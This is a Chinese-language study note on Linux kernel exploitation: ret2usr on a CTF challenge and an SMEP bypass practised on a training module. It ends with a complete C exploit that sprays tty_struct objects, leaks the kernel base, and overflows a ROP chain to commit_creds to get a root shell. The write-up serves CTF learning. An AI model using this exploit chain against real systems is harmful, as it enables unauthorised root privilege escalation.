# Linux Kernel Exploit: ret2usr ###### tags: `exploitation` 這題也是 qwb 的 core ,除了最後的幾步之外跟前一篇 rop 沒啥差別,所以會更簡短一些 ## 利用 差異只在 rop chain 的構造稍有不同: * Kernel ROP: * 在 kernel stack 中用 kernel gadgets 構造出 `commit_creds(prepare_kernel_cred(0))` 然後返回到 user space * 繞過 kernel dep * ret2usr: * 在 kernel stack 中用 rop 返回至 user program 中的 function 達到 `commit_creds(prepare_kernel_cred(0))` * user 空間的 code 可以自由編寫,同樣的目的在 kernel 中必須要靠 rop 來達成,難度差異可想而之 * SMEP/SMAP mitigation :::info SMEP: 無法執行 user 的 code SMAP: 無法訪問 user 的 data SMEP/SMAP 阻擋 ret2usr ::: ### 做法 ret2usr 基本上就是把 commit_creds(prepare_kernel_cred(0)) 寫在程式裡面 ```c=+ void root() { char *(pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; cc(pkc(0)); } ``` 透過 overwrite return address ,在 kernel 控制程式流程後跳到 userland 的 root() ```c=+ // return address payload[k++] = root; ``` 切換回 userspace ```c=+ payload[k++] = swapgs; payload[k++] = 0; // return to user space payload[k++] = iret; ``` 以下為 iret 必要的 status data ```c=+ payload[k++] = spawn_shell; payload[k++] = user_cs; payload[k++] = user_rflags; payload[k++] = user_sp; payload[k++] = user_ss; ``` ## 總結 ret2usr 我覺得可以看成一種 rop 的變形,差別就在 ret2usr 主要工作是返回到 user space 上的 code ,因此 rop chain = ret2usr + swapgs + iret ,而 rop 要在 kernel 內透過 gadgets 完成上述工作。 從複雜度來看 rop 要難於 ret2usr ,不過 ret2usr 會被 SMEP 阻擋,最萬用的還是 rop 吧 ## bypass SMEP ret2usr 之所以不能用是因為 smep 不讓 attacker 從 kernel 執行 user space 上的 code 退而求其次,先在 user space 上擺好 rop chain ,控制 kernel 流程後 stack pivot 到 user space 我們擺好的 rop chain 上面 接著透過 ROP 關掉 smep 之後就能再次直接執行 user space 的 code 不過這個方法會被 smap 補充: ## bypass SMEP 這次是從 yuawn 的 [kernel-exploitation](https://github.com/yuawn/kernel-exploitation)快速紀錄 ### bypass SMEP 從 yuawn 的 [kernel-exploitation](https://github.com/yuawn/kernel-exploitation) 學習,其中一些技巧之前在 ctf-wiki 上有碰過不過還是玩一下看有沒有新的見解 目標一樣是 kernel module ,作者設計了一個選單題,該 module 能讀取、寫入、分配 kernel 記憶體,另外還有一個 overflow 可以控制 kernel 執行流程 SMEP 簡單講就是 kernel 不能去執行放在 ring3 的 code ,這邊透過一個簡單的 demo 展示一下如何繞過 1. 先保存從 kernel 返回 user 時需保存的狀態 主要是: * user_cs * user_ss * user_rflags * user_sp rflag 可以用 `pushf` 將 rflags 壓進 stack ,再 pop 出來 2. 開啟一堆 `/dev/ptmx` 申請一堆 tty_struct 申請 tty_struct 有幾個好處: * 大小特殊 * 在 5.10.1 大小為 0x2c0 ,kernel 很少 allocate 0x2c0 大小的空間 * 方便 leak * 內部有許多 kernel pointer * 方便 hijack vtable * 內部有 function pointer vtable ,修改就能劫持 雖然較少人申請,以防萬一還是先申請 256 個 tty_struct 後再 close 來 free 掉,保證下次申請 0x2c0 空間的時候可以拿到之前 free 掉的 tty_struct 好方便 leak 3. 透過 demo.ko 申請 0x2c0 空間大小 這樣會取得剛剛 free 掉的 tty_struct ,接著就可以透過讀取記憶體內容 leak kernel address ,扣掉 offset 就可以得到之後會用到的 kernel address 4. 佈置 rop chain 從剛剛拿到的 kernel address 得到需要用到的 kernel gadgets 和 prepare_kernel_creds / commit_creds rop chain 執行順序是: * 執行 `prepare_kernel_creds(0)` * `mov rdi, rax` * 執行 commit_creds * swapgs * iret * status * user rip * user cs * user rflags * user sp * user ss swapgs 根據[參考資料](https://www.felixcloutier.com/x86/swapgs),他是 long mode 底下用來提供一種無需一般 register 就能透過 gs 來訪問 kernel memory 的功能,因為在某些情況一般 register 無法載入 kernel 記憶體 這邊 swapgs 的用意是將 kernel gs 換成 user gs iret 則是從 kernel 切換回 user ,但他需要一些額外資訊,所以剛開始就要保存 status ,按照固定的順序將 status 放到 rop 內 iret 執行完後跳到放到 stack 的 user rip 完整的 code repo 上有,不過我這邊複製一下: ```clike #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <stdint.h> #include <syscall.h> #include <string.h> #include <pthread.h> #include <sys/mman.h> #include <signal.h> #include <assert.h> #include <stdint.h> #include "demo_note.h" #define ASM __asm__ #define PAUSE scanf("%*c"); void get_shell(int sig){ printf( "[*] get shell\n" ); system("sh"); } size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { ASM("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } int main(){ save_status(); int pfd[0x100]; for( int i = 0 ; i < 0x100 ; ++i ){ pfd[i] = open( "/dev/ptmx" , O_RDWR | O_NOCTTY ); // tty_struct if (pfd[i] == -1) printf("open ptmx err\n"); } for( int i = 0 ; i < 0x100 ; ++i ) close(pfd[i]); int fd = open("/dev/demo", O_RDWR); size_t buf[0x100] = {0}; add_note(fd, 0x2c0); read_note(fd, 0, buf); //for( int i = 0 ; i < 0x2c0 / 8 ; ++i ) // printf( "%d: 0x%lx\n" , i , buf[i] ); size_t kbase = buf[3] - 0x10a6e20; printf( "[*] kernel base -> %p\n", kbase ); size_t rop[100]; size_t prepare_kernel_cred = kbase + 0xbc7e0; size_t commit_creds = kbase + 0xbc350; size_t pop_rdi = kbase + 0x815d0; size_t mov_rdi_rax = kbase + 0x29951; // mov rdi, rax; mov eax, ebx; pop rbx; pop rbp; or rax, rdi; ret; size_t swapgs = kbase + 0x6def0; // swapgs; ret; size_t iretq = kbase + 0x3b1e4; // iretq; pop rbp; ret; int i = -1; rop[++i] = pop_rdi; rop[++i] = 0; rop[++i] = prepare_kernel_cred; rop[++i] = mov_rdi_rax; rop[++i] = 0; rop[++i] = 0; rop[++i] = commit_creds; // status switch rop[++i] = swapgs; rop[++i] = iretq; rop[++i] = get_shell; rop[++i] = user_cs; rop[++i] = user_rflags; rop[++i] = user_sp; rop[++i] = user_ss; req.arg1 = rop; ioctl( fd, DEMO_OVERFLOW , &req ); return 0; } ```